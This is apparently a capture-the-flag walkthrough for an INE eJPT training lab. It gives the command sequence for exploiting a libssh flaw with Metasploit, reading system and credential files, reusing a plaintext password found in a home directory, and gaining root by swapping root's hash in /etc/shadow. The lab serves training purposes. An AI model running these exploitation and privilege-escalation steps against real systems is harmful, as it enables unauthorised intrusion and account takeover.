Run post-exploitation techniques across target1 and target2 to uncover five flags.
GUI access to a Kali machine is provided. Two machines are accessible at target1.ine.local and target2.ine.local. Objective: execute post-exploitation techniques to uncover hidden flags.
target1)target2.FLAG1_MD5Hash — submit only the hash (no underscore).All work is performed against an authorized INE training lab for eJPT exam preparation.
cat /etc/hosts
nmap -sV -sC -p- -Pn -A target1.ine.local
Nmap output points to a libssh issue. Exploit it with Metasploit:
msfconsole
search libssh
use 0
show options
set RHOSTS target1.ine.local
set SPAWN_PTY true
exploit
Interact with the session and read the account file — /etc/passwd stores user account details:
show actions
sessions -i 1
cat /etc/passwd
Group membership is stored in /etc/group:
cat /etc/group
Cron jobs are defined under /etc/cron.d:
cd /etc/cron.d
ls
cat *
DNS/host mappings live in /etc/hosts; home directories may hold stored credentials:
cat /etc/hosts
Scan the second target, then look for stored credentials in the user's home:
nmap -sV -sC -p- -Pn -A 192.10.190.3 # target2.ine.local
cd /home/user
ls
cat credentials.txt
# john:Pass@john123
SSH is open and we have john : Pass@john123. Once in, escalate by replacing root's password hash in /etc/shadow. Generate a known hash with OpenSSL:
openssl passwd -1 -salt abc password
# $1$abc$BXBqpb9BZcZhXLgbee.0s/
Edit /etc/shadow, replace root's hash field with the generated value, then switch user:
nano /etc/shadow
# replace root's hash with: $1$abc$BXBqpb9BZcZhXLgbee.0s/
su root
# password: password
Now read the flag from root's home:
cd /root
ls
cat flag.txt
| Flag | Technique |
|---|---|
| 1 | libssh exploit (Metasploit) → read /etc/passwd |
| 2 | Enumerate /etc/group |
| 3 | Inspect cron jobs in /etc/cron.d |
| 4 | Read /etc/hosts / home directories |
| 5 | Reused credentials + /etc/shadow hash swap with OpenSSL → root |
/etc/shadow lets you replace root's hash with one whose password you know (openssl passwd).